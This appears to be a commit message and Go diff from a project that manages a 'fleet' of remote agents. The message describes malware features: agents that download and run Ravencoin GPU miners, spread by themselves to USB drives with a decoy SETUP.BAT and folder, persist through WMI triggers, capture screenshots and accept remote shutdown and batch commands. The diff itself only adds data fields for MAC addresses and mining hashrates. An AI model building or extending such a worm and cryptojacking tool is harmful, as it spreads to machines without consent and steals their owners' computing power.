Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/internal/models/agent.go

@@ -28,10 +28,11 @@ type Agent struct {
 	Notes string   `json:"notes"`
 	Tags  []string `json:"tags"`
 
-	Platform  string `json:"platform,omitempty"`
-	Arch      string `json:"arch,omitempty"`
-	OSVersion string `json:"os_version,omitempty"`
-	Hostname  string `json:"hostname,omitempty"`
+	Platform   string `json:"platform,omitempty"`
+	Arch       string `json:"arch,omitempty"`
+	OSVersion  string `json:"os_version,omitempty"`
+	Hostname   string `json:"hostname,omitempty"`
+	MacAddress string `json:"mac_address,omitempty"`
 
 	// Live connection quality — not persisted, set by WSHub each stats cycle.
 	LatencyMs *int `json:"latency_ms,omitempty"`
@@ -57,6 +58,13 @@ type Agent struct {
 	GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
 	GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`
 
+	// GPU / Ravencoin mining
+	GPUMinerActive *bool   `json:"gpu_miner_active,omitempty"`
+	GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
+	GPUHashrate1m  float64 `json:"gpu_hashrate_1m,omitempty"`
+	GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
+	GPUModel       string  `json:"gpu_model,omitempty"`
+
 	// Crucible — SSH status probed by the agent every ~60s
 	SSHAvailable *bool `json:"ssh_available,omitempty"`